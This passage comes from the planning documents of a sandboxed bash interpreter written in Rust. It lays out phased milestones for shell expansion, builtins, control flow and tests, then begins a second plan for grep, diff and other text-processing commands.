expand to \"bar\" because expansion happens before the assignment takes effect\n\n#### 1A-e. Minimal builtins & commands\n- `true` / `false` — exit 0 / exit 1 (builtins for performance)\n- `echo` — `-n` (no newline), `-e` (escape sequences). Registered as command (shadowable by functions).\n- `exit` — return exit code\n\n**Exit criteria for 1A**: `shell.exec(\"echo hello\")` → `ExecResult { stdout: \"hello\\n\", exit_code: 0 }`. `cargo test` + `cargo clippy` clean.\n\n### Phase 1B — Word Expansion, Redirections & Builtins\n\n#### 1B-a. Basic word expansion\n- Integrate `brush_parser::word::parse()` for word decomposition\n- Handle `WordPiece` types: `Text`, `SingleQuotedText`, `DoubleQuotedSequence`, `ParameterExpansion`, `TildePrefix`\n- Basic parameter expansion: `$VAR`, `${VAR}`, `${VAR:-default}`, `${VAR:=default}`, `${VAR:?msg}`, `${VAR:+alt}`\n- Advanced parameter expansion (all from Ch. 4):\n  - `${#VAR}` — string length\n  - `${VAR%pattern}` / `${VAR%%pattern}` — suffix removal (shortest/longest)\n  - `${VAR#pattern}` / `${VAR##pattern}` — prefix removal (shortest/longest)\n  - `${VAR/pattern/string}` — substitution (first match); `${VAR//pattern/string}` (all matches)\n  - `${VAR:offset:length}` — substring extraction\n  - `${VAR^}` / `${VAR^^}` / `${VAR,}` / `${VAR,,}` — case modification\n- Special variables: `$?`, `$#`, `$@`, `$*`, `$0`, `$1`–`$9`, `${10}+`, `$$`, `$!` (always empty), `$RANDOM`, `$LINENO`\n- Tilde expansion: `~` → `$HOME`\n- **No** IFS word splitting yet (Phase 2), **no** command substitution yet (Phase 3), **no** globs yet (Phase 7a)\n\n#### 1B-b. Redirections\n- `> file` (write stdout), `>> file` (append stdout), `< file` (read stdin)\n- `2> file`, `2>> file` (stderr redirect)\n- `2>&1` (stderr→stdout), `&> file` (stdout+stderr to file)\n- `/dev/null` support (discard output)\n\n#### 1B-c. Shell builtins (full first batch)\n- `cd` — change `state.cwd`, validate path exists and is dir in VFS\n- `export` — mark variable as exported; `export VAR=value` sets and exports\n- `unset` — remove variable\n- `set` — parse flags (`-e`, `-u`, `-o pipefail`, `-x`), `set --` for positional params\n- `shift` — shift positional parameters\n- `declare` / `readonly` — variable attributes\n- `read` — read line from stdin into variable(s). Shell builtin because it modifies `state.env`.\n  - `-r` (no backslash escaping), `-p` (prompt, no-op in sandbox), IFS-based field splitting\n\n**Exit criteria for 1B**: Variable expansion, redirections, and builtins work. `echo $HOME > /file && cat /file` works.\n\n### Phase 1C — Compound Commands & Starter Commands\n\n#### 1C-a. Compound commands\n- `if`/`elif`/`else` — evaluate condition lists, execute matching body\n- `for var in words; do body; done` — expand word list, iterate\n- `while condition; do body; done` / `until condition; do body; done`\n- Brace groups `{ cmds; }` — execute in current scope\n- Subshell `( cmds )` — **deep-clone** state, execute, discard state changes\n  - VFS: `InMemoryFs` needs a true deep clone (not just `Arc` clone, which shares the tree)\n  - env, functions, cwd: all cloned, changes discarded after subshell exits\n  - Exit code: propagates back (it's the subshell's return value)\n  - Test: `(cd /tmp && echo $PWD); echo $PWD` — cwd should NOT change outside subshell\n\n#### 1C-b. Remaining starter commands (registered commands)\n- `cat` — concatenate files/stdin, `-n` (line numbers)\n- `touch` — create empty file or update mtime\n- `mkdir` — `-p` (parents)\n- `ls` — `-l`, `-a`, `-1`, `-R`\n- `pwd` — print working directory\n\n### Phase 1D — Integration Tests\n\n- `echo hello` → stdout \"hello\\n\"\n- `echo a; echo b` → stdout \"a\\nb\\n\" (compound list accumulation — M1.2 verified)\n- `echo hello | cat` → stdout \"hello\\n\"\n- Redirections: `echo hello > /file.txt && cat /file.txt`\n- State persistence: two `exec()` calls, verify VFS/env/cwd carry over\n- `if true; then echo yes; else echo no; fi` → \"yes\\n\"\n- `for i in a b c; do echo $i; done` → \"a\\nb\\nc\\n\"\n- `FOO=bar; echo $FOO` → \"bar\\n\"\n- Pre-command assignment: `FOO=bar echo done; echo $FOO` → `done\\n\\n` (FOO not persisted)\n- Subshell isolation: `X=outer; (X=inner; echo $X); echo $X` → `inner\\nouter\\n`\n- Error cases: parse error, command not found (exit 127)\n- Snapshot tests (via `insta`) for `ls` and other commands with structured output\n\n**Exit criteria**: Basic shell works end-to-end. `cargo test` + `cargo clippy` clean.\n\n---\n\n## Phase 2 — Word Splitting & Quoting (M1.3)\n\n### 2a. IFS-based word splitting\n- After parameter expansion (and later command substitution/arithmetic), split unquoted results on `$IFS`\n- Default IFS: space, tab, newline\n- Custom IFS support (e.g., `IFS=: read` patterns)\n- Consecutive IFS whitespace collapses; non-whitespace IFS chars produce empty fields\n\n### 2b. Quoting correctness\n- Double-quoted `\"$VAR\"` — expand but do NOT word-split\n- Single-quoted `'$VAR'` — literal, no expansion\n- `\"$@\"` — expands to separate words, one per positional param\n- `\"$*\"` — expands to single word joined by first char of IFS\n- Unquoted `$@` and `$*` — expand then word-split\n\n### 2c. Tests\n- `VAR=\"a b c\"; for w in $VAR; do echo $w; done` → `a\\nb\\nc\\n`\n- `VAR=\"a b c\"; for w in \"$VAR\"; do echo $w; done` → `a b c\\n`\n- `set -- x y z; for w in \"$@\"; do echo $w; done` → `x\\ny\\nz\\n`\n- IFS override tests\n- Edge cases: empty variables, unset variables, variables with newlines\n\n---\n\n## Phase 3 — Command Substitution (M1.4)\n\n### 3a. Interior mutability refactor\n- Restructure so that word expansion can invoke the interpreter recursively\n- Approach: pass `&mut InterpreterState` through expansion pipeline, or use `RefCell`\n- Ensure nested substitution doesn't cause borrow conflicts\n\n### 3b. $(...) and backtick expansion\n- `$(command)` — recursively invoke interpreter, capture stdout, strip trailing newlines\n- `` `command` `` — same behavior, legacy syntax\n- Nested `$(echo $(echo hello))` works correctly\n- Handle exit code from inner command (accessible via `$?` after substitution)\n\n### 3c. Tests\n- `echo $(echo hello)` → `hello\\n`\n- `x=$(echo world); echo \"hello $x\"` → `hello world\\n`\n- Nested: `echo $(echo $(echo deep))` → `deep\\n`\n- Trailing newline stripping: `echo \"$(printf \"abc\\n\\n\")\"` → `abc\\n`\n- Command substitution in double quotes: `\"$(echo 'a b')\"` → single word\n\n---\n\n## Phase 4 — Exec Callback (M1.5)\n\n> Does NOT depend on Phase 3 (command substitution). eval/source just need recursive interpreter invocation, which exists after Phase 1.\n\n### 4a. Exec callback on CommandContext\n- Add `exec: Option<&dyn Fn(&str) -> CommandResult>` to `CommandContext`\n- Wire up in interpreter: commands that need sub-execution receive the callback\n- The callback parses and executes a string through the interpreter\n\n### 4b. eval builtin\n- `eval \"string\"` — concatenate args, parse, execute in current shell context\n- Variable expansion happens before eval sees the string\n\n### 4c. source builtin\n- `source /path/to/file` (or `. /path/to/file`) — read file from VFS, parse, execute\n- Executes in current shell context (variables persist)\n\n### 4d. Tests\n- `eval 'echo hello'` → `hello\\n`\n- `eval \"echo \\$HOME\"` → value of HOME\n- Write script to VFS, `source` it, verify side effects\n- `eval` with variable assignments that persist\n\n---\n\n## Phase 5 — Conditional Tests (M1.6)\n\n> Independent of Phase 6 (break/continue). These two phases can be built in parallel.\n\n### 5a. test / [ command\n- File tests: `-f`, `-d`, `-e`, `-r`, `-w`, `-x`, `-s`, `-L`\n- String tests: `-z`, `-n`, `=`, `!=`, `<`, `>`\n- Numeric comparisons: `-eq`, `-lt`, `-le`, `-gt`, `-ge`, `-ne`\n- Logical: `!`, `-a` (and), `-o` (or)\n- `[` requires closing `]`\n\n### 5b. [[ extended test\n- Handle `Command::ExtendedTest` from brush-parser AST\n- Pattern matching: `[[ $str == pattern* ]]`\n- Regex: `[[ $str =~ regex ]]` (capture groups into `BASH_REMATCH`)\n- Logical: `&&`, `||`, `!` (no `-a`/`-o`)\n- No word splitting or glob expansion inside `[[ ]]`\n\n### 5c. Tests\n- `test -f /existing.txt` → exit 0\n- `[ -d /dir ]` → exit 0\n- `[[ \"hello\" == hel* ]]` → exit 0\n- `[[ \"abc123\" =~ ^[a-z]+([0-9]+)$ ]]` → exit 0, BASH_REMATCH[1]=\"123\"\n- Numeric: `[ 5 -gt 3 ]` → exit 0\n- String: `[ -z \"\" ]` → exit 0\n\n---\n\n## Phase 6 — Loop Control (M1.7)\n\n> Independent of Phase 5 (test/[[). These two phases can be built in parallel.\n\n### 6a. break/continue signals\n- Define control flow signal type: `ControlFlow::Break(depth)`, `ControlFlow::Continue(depth)`\n- `break` / `break N` — exit N enclosing loops\n- `continue` / `continue N` — skip to next iteration of Nth enclosing loop\n- Signal propagates up through compound command handlers\n\n### 6b. Integration into loop handlers\n- For/while/until handlers catch `Break`/`Continue` signals\n- Decrement depth counter as signal passes through each loop level\n- `break 0` and `continue 0` are errors\n\n### 6c. Tests\n- `for i in 1 2 3; do if [ $i = 2 ]; then break; fi; echo $i; done` → `1\\n`\n- `for i in 1 2 3; do if [ $i = 2 ]; then continue; fi; echo $i; done` → `1\\n3\\n`\n- Nested: `break 2` exits two levels\n- `break` outside loop → error\n\n---\n\n## Phase 7 — Expansion Features (M1.8, M1.9, M1.10, M1.11)\n\n> These four sub-milestones are independent of each other and can be built in any order.\n\n### 7a. Glob expansion (M1.8)\n- Implement `VirtualFs::glob()` on `InMemoryFs` — tree walk matching pattern\n- Glob patterns: `*`, `?`, `[abc]`, `[a-z]`, `[!abc]`, `**` (recursive)\n- Integrate into word expansion: unquoted words with glob chars → expand against VFS\n- If no match, leave pattern as literal (bash default without `failglob`)\n- Simple numeric guard: cap results at a configurable maximum (e.g., 100,000)\n- Tests: `echo *.txt`, `echo /dir/**/*.md`, no-match passthrough\n\n### 7b. Brace expansion (M1.9)\n- `{a,b,c}` → three words: `a`, `b`, `c`\n- `{1..5}` → `1 2 3 4 5`\n- `{1..10..2}` → `1 3 5 7 9` (step)\n- `{a..z}` → letter sequences\n- Nested: `{a,b{1,2}}` → `a b1 b2`\n- Combined with other text: `file{1,2,3}.txt` → `file1.txt file2.txt file3.txt`\n- Numeric guard against unbounded expansion\n- Brace expansion happens before all other expansions\n- Tests: various patterns, combined with prefix/suffix, nesting\n\n### 7c. Here-documents and here-strings (M1.10)\n- `<<EOF ... EOF` — multi-line stdin from heredoc body (already in AST)\n- `<<-EOF` — strip leading tabs from body\n- Quoted delimiter (`<<'EOF'`) → no variable expansion in body\n- Unquoted delimiter → perform variable expansion in body\n- `<<<word` — expand word, use as stdin (with trailing newline)\n- Tests: heredoc with/without expansion, here-string, indented heredoc\n\n### 7d. Arithmetic expansion (M1.11)\n- `$((...))` evaluator with full operator support:\n  - Arithmetic: `+`, `-`, `*`, `/`, `%`, `**` (power)\n  - Comparisons: `<`, `>`, `<=`, `>=`, `==`, `!=`\n  - Boolean: `&&`, `||`, `!`\n  - Bitwise: `&`, `|`, `^`, `~`, `<<`, `>>`\n  - Ternary: `cond ? true_val : false_val`\n  - Assignment: `=`, `+=`, `-=`, `*=`, `/=`, `%=`\n  - Pre/post increment/decrement: `++var`, `var++`, `--var`, `var--`\n- Variable references in expressions: `$((x + y))` reads vars from env\n- `let` builtin: `let \"x = 5 + 3\"`\n- `(( expr ))` compound command — evaluates expression, exit code 0 if non-zero result\n- `for (( init; cond; step )) do body; done` — C-style arithmetic for loop (AST: `ArithmeticForClause`)\n- Tests: all operators, variable references, nested expressions, division by zero, C-style for loop\n\n---\n\n## Phase 8 — Functions & Local Variables (M1.12)\n\n> Soft dependency on Phase 5 (test) — functions themselves only need the interpreter skeleton; richer test cases use test/[[. Hard dependency on Phase 6 (break/continue) for the `return` signal mechanism.\n\n### 8a. Function definitions\n- `FunctionDef` struct: name + body (CompoundCommand from AST)\n- Store in `state.functions` HashMap\n- Both syntaxes: `func() { ... }` and `function func { ... }`\n\n### 8b. Function calls\n- Lookup in `state.functions` (after builtins, before registered commands)\n- Save/restore positional parameters (`$1`, `$2`, etc.)\n- Call depth tracking (for future limits)\n\n### 8c. local and return\n- `local var=value` — creates function-scoped variable; restores previous value on return\n- `return N` — exit function with code N; uses control flow signal mechanism\n- `return` without args → uses `$?`\n\n### 8d. Variable scoping\n- Dynamic scoping (bash behavior): called functions see caller's variables\n- `local` masks the caller's variable within the function scope\n- `export` marks for child process inheritance (maintained for compatibility)\n\n### 8e. Tests\n- Define and call function, verify output\n- Positional parameters in function\n- `local` variable scoping: doesn't leak to caller\n- Recursive function (with depth tracking)\n- `return` with exit code\n- Function shadowing a command name\n\n---\n\n## Phase 9 — Case Statements (M1.13)\n\n### 9a. case implementation\n- Expand the case word\n- Match against each pattern using glob-style matching\n- `|` alternation: `pattern1|pattern2)`\n- Terminators:\n  - `;;` — stop after first match\n  - `;&` — fall through to next body (no pattern check)\n  - `;;&` — continue testing remaining patterns\n\n### 9b. Tests\n- Basic pattern matching\n- Wildcard `*` as default\n- `|` alternation\n- Fall-through `;&` and continue `;;&`\n- Glob patterns in case arms\n\n---\n\n## Phase 10 — Core Commands (M1.14)\n\n> Split into early (no interpreter feature dependencies) and late (need exec callback, globs, etc.).\n> All commands are registered commands (shadowable by functions). Each gets unit tests.\n> Convention: all commands support `--` to terminate flag parsing.\n\n### Phase 10-early — Commands buildable after Phase 1 (no advanced features needed)\n\n#### 10a. File operations\n- `cp` — `-r` (recursive), basic copy via VFS\n- `mv` — rename via VFS\n- `rm` — `-r` (recursive), `-f` (force/no error if missing)\n- `tee` — `-a` (append); write stdin to file(s) and stdout\n- `stat` — display file metadata from VFS\n- `chmod` — change mode in VFS\n- `ln` — `-s` (symbolic link)\n\n#### 10b. Text processing (basic)\n- `grep` — basic: `-i`, `-v`, `-n`, `-c`, `-l` (full grep is M2.1, basic version here)\n- `sort` — `-r`, `-n`, `-k`, `-t`, `-u`\n- `uniq` — `-c`, `-d`, `-u`\n- `cut` — `-d`, `-f`, `-c`\n- `head` — `-n N`\n- `tail` — `-n N`\n- `wc` — `-l`, `-w`, `-c`\n- `tr` — `-d`, `-s`, character ranges\n- `rev` — reverse lines\n- `fold` — `-w` (width), `-s` (break at spaces)\n- `nl` — number lines\n- `printf` — format strings (%s, %d, %f, %x, etc.)\n- `paste` — `-d` delimiter\n\n#### 10c. Navigation\n- `realpath` — resolve via VFS canonicalize\n- `basename` — strip directory\n- `dirname` — strip last component\n- `tree` — display directory tree\n\n#### 10d. Utilities (no exec callback needed)\n- `expr` — integer arithmetic, string operations, regex match\n- `date` — format strings (`+%Y-%m-%d`, etc.)\n- `sleep` — pause (respect timeout limits; actual sleep for sandbox)\n- `seq` — generate number sequences\n- `env` / `printenv` — display environment\n- `which` — always reports \"builtin\" for registered commands\n- `base64` — encode (`-w0`) and decode (`-d`)\n- `md5sum` / `sha256sum` — hash file contents or stdin\n- `whoami` — returns `$USER` or \"root\"\n- `hostname` — returns `$HOSTNAME` or \"localhost\"\n- `uname` — returns synthetic system info\n- `yes` — repeat output (with iteration limit guard to prevent unbounded output)\n\n### Phase 10-late — Commands needing advanced interpreter features\n\n#### 10e. Commands needing exec callback (after Phase 4)\n- `xargs` — build commands from stdin, invoke via exec callback\n- `find` — `-name`, `-type`, `-maxdepth`, `-exec` (basic subset; `-exec` needs exec callback)\n\n#### 10f. Minimal trap support (after Phase 8 — functions)\n- `trap 'commands' EXIT` — register cleanup handler\n- `trap 'commands' ERR` — fire on non-zero exit when `set -e` is active\n- Execute trap body on shell exit / error\n- `trap '' SIGNAL` — ignore (no-op in sandbox)\n- `trap - SIGNAL` — reset to default\n\n---\n\n## Phase 11 — Error Handling Polish (M1.15)\n\n### 11a. RustBashError finalization\n- Ensure all variants are populated: Parse, Execution, LimitExceeded, Vfs, Timeout\n- Implement `std::error::Error` + `Display` for all error types\n- Ensure all public APIs return `Result<T, RustBashError>`\n\n### 11b. set -e (errexit)\n- Exit immediately when a command fails (non-zero exit code)\n- Exceptions: conditions in `if`/`while`/`until`, left side of `&&`/`||`, negated commands\n\n### 11c. set -u (nounset)\n- Error on expansion of unset variables\n- Exception: `${VAR:-default}` and similar default-value expansions\n\n### 11d. set -o pipefail\n- Pipeline exit code = exit code of rightmost failed command (not just last command)\n\n### 11e. Tests\n- `set -e` with failing command stops execution\n- `set -e` with `if cmd_that_fails` does NOT stop\n- `set -u` with unset variable → error\n- `set -o pipefail` with `false | true` → exit 1\n\n**Exit criteria**: Full M1 test suite passes. `cargo fmt`, `cargo clippy -- -D warnings`, `cargo test` all clean.\n\n---\n\n## Dependency Graph\n\n```\nPhase 0 (VFS + scaffolding + brush-parser smoke test)\n    ↓\nPhase 1A (core types + parsing + minimal execution)\n    ↓\nPhase 1B (word expansion + redirections + builtins)\n    ↓\nPhase 1C (compound commands + starter commands)\n    ↓\nPhase 1D (integration tests)\n    │\n    ├── Phase 2 (word splitting)\n    │       ↓\n    │   Phase 3 (cmd substitution) ← must be after Phase 2 (touches expansion code)\n    │       │\n    │       ├── Phase 7c (heredocs) — needs expansion for unquoted heredocs\n    │       │\n    │   Phase 4 (exec callback) ← only needs Phase 1, NOT Phase 3\n    │       │\n    │       ├── Phase 10e (xargs, find -exec) — need exec callback\n    │       │\n    ├── Phase 5 (test/[[) ←──┐\n    │                        ├── independent, can be parallel\n    ├── Phase 6 (break/continue) ←┘\n    │       │\n    ├── Phase 7a (globs) ─── after Phase 2\n    ├── Phase 7b (braces) ── after Phase 2\n    ├── Phase 7d (arithmetic) ── after Phase 2 ✅\n    │       │\n    │   Phase 8 (functions) ← needs Phase 6 (return signal), soft dep on Phase 5\n    │       ↓\n    │   Phase 9 (case) ← needs Phase 7a (glob matching)\n    │       ↓\n    │   Phase 10f (trap) ← needs Phase 8\n    │\n    ├── Phase 10-early (10a-d: bulk commands) ← can start right after Phase 1D\n    │\n    └── Phase 11 (error handling polish) ← after all other phases\n```\n\n**Parallelism opportunities**:\n- Phases 2, 5, 6 can start simultaneously after Phase 1D\n- Phases 7a, 7b, 7d can start simultaneously after Phase 2\n- Phase 10-early can start right after Phase 1D (no interpreter feature deps)\n- Phase 4 can start after Phase 1D (doesn't need Phase 3)\n\n## Risks & Mitigations\n\n| Risk | Mitigation |\n|------|------------|\n| brush-parser API churn | Pin to specific git rev; Phase 0e smoke test validates API surface early |\n| brush-parser `WordPiece` variants differ from docs | Smoke test in Phase 0e; adapt plan if needed |\n| Command substitution borrow conflicts | Budget time for interior mutability refactor; RefCell or &mut restructuring |\n| Word expansion edge cases | Differential testing against real bash |\n| Scope creep on commands | Ship 80/20 flag coverage per command; full flags later |\n| Test coverage gaps | Write tests before or alongside each feature, not after |\n| Phase 7d (arithmetic) larger than expected | Full expression parser/evaluator needed; check if brush-parser AST helps — ✅ resolved, custom recursive-descent parser implemented |\n| InMemoryFs subshell clone shares data via Arc | Must implement deep clone for subshell isolation; test early in Phase 1C |\n\n## Notes\n\n- All file operations go through `VirtualFs` — never `std::fs`\n- No `std::process::Command` — all commands are in-process Rust\n- brush-parser handles all parsing; we only interpret\n- Start sync API; async wrapper is a later concern\n- Error messages follow format: `command: message` (not exact bash wording)\n- Dynamic variable scoping matches bash\n- `&` (background separator) treated as sequential execution — no background processes\n- `read` is a shell builtin (not a registered command) because it modifies interpreter state\n- All registered commands support `--` flag terminator per Ch. 6 conventions\n- Fuzz target (`cargo fuzz`) should be added once Phase 3 is complete (parser→interpreter boundary is the key attack surface)\n","/home/user/docs/plans/M2.md":"# Milestone 2: Text Processing — Implementation Plan\n\n## Problem Statement\n\nM1 delivered a correct, reliable interpreter with ~56 commands. M2 adds the heavyweight text processing tools that AI agents and shell scripts rely on for data manipulation: full `grep`, `sed`, `awk`, `jq`, `diff`, and remaining text utilities. These range from simple utilities (`tac`, `comm`) to full mini-languages (`awk`, `sed`).\n\n## M1 Carryover\n\nM1.13 (Case Statements) and M1.14 (Additional Core Commands) are both fully implemented in code but not marked as ✅ in `docs/guidebook/10-implementation-plan.md`. **Phase 0 fixes this documentation gap.** No code work remains from M1.\n\n## Approach\n\n- **Upgrade before build**: Start with upgrading existing `grep` (basic → full) rather than building from scratch.\n- **Simple utilities first**: Build `comm`, `join`, `fmt`, `column`, `expand`/`unexpand`, `tac` as a warmup — these follow the established `VirtualCommand` pattern exactly.\n- **Crate-backed where possible**: `jq` via `jaq-core` ecosystem, `diff` via `similar` crate. Don't reimplement what battle-tested crates solve.\n- **Custom mini-interpreters for sed/awk**: These are fundamentally mini-languages that need lexer → parser → interpreter pipelines. Apply 80/20 scoping from the guidebook.\n- **awk last**: It's the most complex command (associative arrays, functions, control flow). Everything else should be done before starting it.\n- **Each phase is independently testable** and follows `cargo fmt && cargo clippy -- -D warnings && cargo test`.\n\n## Dependencies\n\n**Existing** (already in Cargo.toml):\n- `regex = \"1.12.3\"` — used by grep, sed\n\n**New** (to be added):\n- `similar = \"2.7.0\"` — diff algorithm library for M2.5\n- `jaq-core = \"3.0.0-gamma\"` — jq filter interpreter for M2.4\n- `jaq-std = \"3.0.0-gamma\"` — jq standard library functions\n- `jaq-json = \"2.0.0-gamma\"` — JSON value type for jaq\n- `serde_json = \"1\"` — JSON parsing/serialization for jq command\n- `rustyline = \"17.0.2\"` — readline for shell example (dev-dependency or optional)\n\n> **Note on jaq versioning**: The jaq 3.x line is pre-release (gamma). If stability issues arise, fall back to the stable `jaq-interpret = \"1.5.0\"` + `jaq-parse = \"1.0.3\"` combination. Evaluate during Phase 5.\n\n## File Organization\n\nNew files to create:\n```\nsrc/commands/\n├── sed.rs          # sed mini-interpreter\n├── awk/            # awk mini-interpreter (directory module)\n│   ├── mod.rs      # AwkCommand + VirtualCommand entry point\n│   ├── lexer.rs    # tokenizer\n│   ├── parser.rs   # AST types + parser\n│   └── runtime.rs  # interpreter, built-in functions, arrays\n├── jq_cmd.rs       # jq wrapper around jaq-core\n├── diff_cmd.rs     # diff via similar crate\n├── regex_util.rs   # shared BRE→ERE translation (used by grep and sed)\n└── text.rs         # (existing) gets comm, join, fmt, column, expand, unexpand, tac\n```\n\n---\n\n## Phase 0 — M1 Documentation Cleanup\n\n### 0a. Mark completed M1 milestones\n- Add ✅ to M1.13 (Case Statements) in `docs/guidebook/10-implementation-plan.md`\n- Add ✅ to M1.14 (Additional Core Commands) in `docs/guidebook/10-implementation-plan.md`\n\n**Exit criteria**: Documentation accurately reflects implementation state.\n\n---\n\n## Phase 1 — grep Full (M2.1)\n\n> Upgrade the existing basic `GrepCommand` in `src/commands/text.rs`. The current implementation supports `-i`, `-v`, `-n`, `-c`, `-l`, `-F`. M2.1 adds the remaining flags to match real-world grep usage.\n\n### 1a. Regex mode flags\n- `-E` / `--extended-regexp` — extended regex (the `regex` crate uses ERE semantics natively, so this is a no-op flag, but must be accepted)\n- `-G` / `--basic-regexp` — basic regex (default in POSIX grep). The `regex` crate does **not** support BRE natively (where `\\(` is grouping, `+`/`?` are literal, etc.). Accept the flag but use ERE semantics regardless. Document this deviation — it matches the behavior of many non-POSIX grep implementations. Implement a `bre_to_ere()` translation helper in a shared utility location (reused by sed in Phase 4) to convert common BRE patterns: `\\(` → `(`, `\\)` → `)`, `\\{` → `{`, `\\}` → `}`. This provides best-effort BRE compatibility.\n- `-P` / `--perl-regexp` — **Not fully supported.** The `regex` crate does not support PCRE's defining features (backreferences `\\1`, lookahead/lookbehind `(?=...)`, possessive quantifiers). Accept the flag as an alias for `-E` and emit a one-time stderr warning: `grep: warning: -P is not fully supported, using extended regex`. This avoids silent mismatches.\n- `-w` / `--word-regexp` — match whole words only (wrap pattern in `\\b...\\b`)\n- `-x` / `--line-regexp` — match whole lines only (wrap pattern in `^...$`)\n\n### 1b. Recursive search\n- `-r` / `-R` / `--recursive` — recursively search directories via `ctx.fs.readdir()` + `ctx.fs.stat()`\n- Only descend into directories, skip non-regular files\n- When recursive, include filenames in output by default (like multi-file mode)\n- `--include=GLOB` — only search files matching glob pattern\n- `--exclude=GLOB` — skip files matching glob pattern\n\n### 1c. Context lines\n- `-A NUM` / `--after-context=NUM` — print NUM lines after each match\n- `-B NUM` / `--before-context=NUM` — print NUM lines before each match\n- `-C NUM` / `--context=NUM` — print NUM lines before and after each match\n- Group separator: `--` between non-contiguous match groups\n\n### 1d. Output control\n- `-o` / `--only-matching` — print only the matched part of each line\n- `-H` / `--with-filename` — always print filename (default when multiple files)\n- `-h` / `--no-filename` — never print filename\n- `-q` / `--quiet` / `--silent` — suppress output, exit 0 on first match\n- `-m NUM` / `--max-count=NUM` — stop after NUM matches per file\n- `-e PATTERN` — specify pattern (allows multiple patterns via repeated `-e`)\n- `-f FILE` / `--file=FILE` — read patterns from a file (one per line)\n- `-L` / `--files-without-match` — print names of files with no matches (inverse of `-l`)\n\n### 1e. Refactor argument parsing\n- The current character-by-character flag parser won't scale. Refactor to handle:\n  - Long flags (`--recursive`, `--count`)\n  - Flags with values (`-A 3`, `--context=5`, `-e PATTERN`)\n  - Combined short flags (`-inl` = `-i -n -l`)\n- Keep using manual parsing (no arg-parse crate) per project convention\n\n### 1f. Tests\n- `-E` with extended regex patterns (alternation `a|b`, groups `(abc)+`)\n- `-G` with BRE-style patterns: verify best-effort BRE→ERE translation\n- `-P` emits warning but still matches\n- `-r` recursive search: create directory tree in VFS, search across files\n- `-r` with `--include=*.txt` and `--exclude=*.log`\n- `-A 2`, `-B 2`, `-C 2` context output with `--` separator lines\n- `-o` only matching: `echo \"foo123bar\" | grep -o '[0-9]+'`\n- `-w` word matching: `echo \"cat concatenate\" | grep -w cat` matches only \"cat\"\n- `-e pat1 -e pat2` multiple patterns\n- `-f patternfile` patterns from file\n- `-m 1` max count\n- `-q` quiet mode (no output, correct exit code)\n- `-L` files without match (inverse of `-l`)\n- Combined: `-rin` (recursive + case-insensitive + line numbers)\n- Edge cases: empty pattern, binary-ish content, no matches (exit 1)\n\n**Exit criteria**: Full grep flag coverage. All tests pass. `cargo clippy` clean.\n\n---\n\n## Phase 2 — diff (M2.5)\n\n> New command in `src/commands/diff_cmd.rs`. Uses the `similar` crate for the diff algorithm.\n\n### 2a. Add `similar` dependency\n- Add `similar = \"2.7.0\"` to `Cargo.toml`\n- Verify it compiles and basic API works\n\n### 2b. Core diff implementation\n- Compare two files (read from VFS)\n- Default format: normal diff (ed-style: `NUMaNUM`, `NUMcNUM`, `NUMdNUM` with `<` / `>` prefixed lines)\n- Algorithm: use `similar::TextDiff` for line-by-line comparison\n- Handle stdin via `-` filename (use `ctx.stdin`)\n- Exit codes: 0 (identical), 1 (different), 2 (error)\n\n### 2c. Output formats\n- `-u` / `--unified` — unified diff format (default context: 3 lines)\n  - `--- file1` / `+++ file2` header\n  - `@@ -start,count +start,count @@` hunk headers\n  - ` ` (context), `-` (removed), `+` (added) prefixes\n- `-c` / `--context` — context diff format (default context: 3 lines)\n  - `*** file1` / `--- file2` header\n  - `*** start,end ****` / `--- start,end ----` hunk headers\n- `-U NUM` / `--unified=NUM` — unified with custom context lines\n- `-C NUM` / `--context=NUM` — context with custom context lines\n\n### 2d. Additional flags\n- `-r` / `--recursive` — recursively compare directories\n  - List files only in one dir, files only in the other, and diff common files\n- `-q` / `--brief` — report only whether files differ\n- `-s` / `--report-identical-files` — report when files are identical\n- `-N` / `--new-file` — treat absent files as empty\n- `-i` / `--ignore-case` — case-insensitive comparison\n- `-w` / `--ignore-all-space` — ignore all whitespace\n- `-b` / `--ignore-space-change` — ignore changes in amount of whitespace\n- `-B` / `--ignore-blank-lines` — ignore blank line changes\n- `--label LABEL` — use LABEL instead of filename in headers\n\n### 2e. Tests\n- Two identical files → exit 0, no output\n- Two different files → exit 1, normal diff output\n- `-u` unified format with correct headers and hunks\n- `-c` context format\n- `-r` recursive directory comparison\n- `-q` brief mode\n- `-i` case-insensitive diff\n- `-w` ignore all whitespace\n- `-b` ignore whitespace changes\n- `-N` treat absent files as empty\n- `-s` report identical files\n- Single-line files, empty files, files with no trailing newline\n- Stdin via `-`: `echo \"hello\" | diff - /file.txt`\n\n**Exit criteria**: diff with all specified formats and flags. Tests pass. `cargo clippy` clean.\n\n---\n\n## Phase 3 — Remaining Text Commands (M2.6)\n\n> Add to existing `src/commands/text.rs`. These are straightforward utilities following established patterns.\n\n> **Note**: `yes` is already implemented in M1 (`src/commands/utils.rs`). Skip it.\n\n### 3a. tac\n- Reverse lines of file(s) or stdin (opposite of `cat`)\n- `-s SEPARATOR` — use SEPARATOR instead of newline\n- Read input → split → reverse → output\n\n### 3b. comm\n- Compare two sorted files line by line\n- Three-column output: lines only in file1, only in file2, in both\n- `-1` — suppress column 1 (lines unique to file1)\n- `-2` — suppress column 2 (lines unique to file2)\n- `-3` — suppress column 3 (lines common to both)\n- `--check-order` — check input is sorted (default behavior)\n\n### 3c. join\n- Join lines of two sorted files on a common field\n- `-t CHAR` — field separator (default: whitespace)\n- `-j FIELD` — join on field FIELD for both files\n- `-1 FIELD` / `-2 FIELD` — join field for file1/file2\n- `-a FILENUM` — print unpairable lines from file FILENUM\n- `-e STRING` — replace missing fields with STRING\n- `-o FORMAT` — output format specification\n\n### 3d. fmt\n- Simple text formatter (reflow paragraphs)\n- `-w WIDTH` — max line width (default: 75)\n- `-s` — split long lines only, don't join short lines\n- Preserve paragraph breaks (blank lines)\n\n### 3e. column\n- Columnate lists\n- `-t` — create a table from delimited input\n- `-s CHAR` — delimiter for `-t` mode (default: whitespace)\n- `-o CHAR` — output separator (default: two spaces)\n- Without `-t`: fill columns (newspaper-style)\n\n### 3f. expand / unexpand\n- `expand` — convert tabs to spaces\n  - `-t N` — set tab stops to N spaces (default: 8)\n  - `-t N1,N2,...` — set tab stops at specific positions\n- `unexpand` — convert spaces to tabs\n  - `-a` — convert all sequences of spaces (not just leading)\n  - `-t N` — tab stop width\n\n### 3g. Registration\n- Register all new commands in `register_default_commands()` in `src/commands/mod.rs`\n\n### 3h. Tests\n- `tac`: reverse lines of multi-line input\n- `comm`: two sorted files, suppress individual columns\n- `join`: join two files on first field\n- `fmt`: reflow paragraph to 40 characters\n- `column -t`: tabulate delimited data\n- `expand` / `unexpand`: tab ↔ space conversion\n- 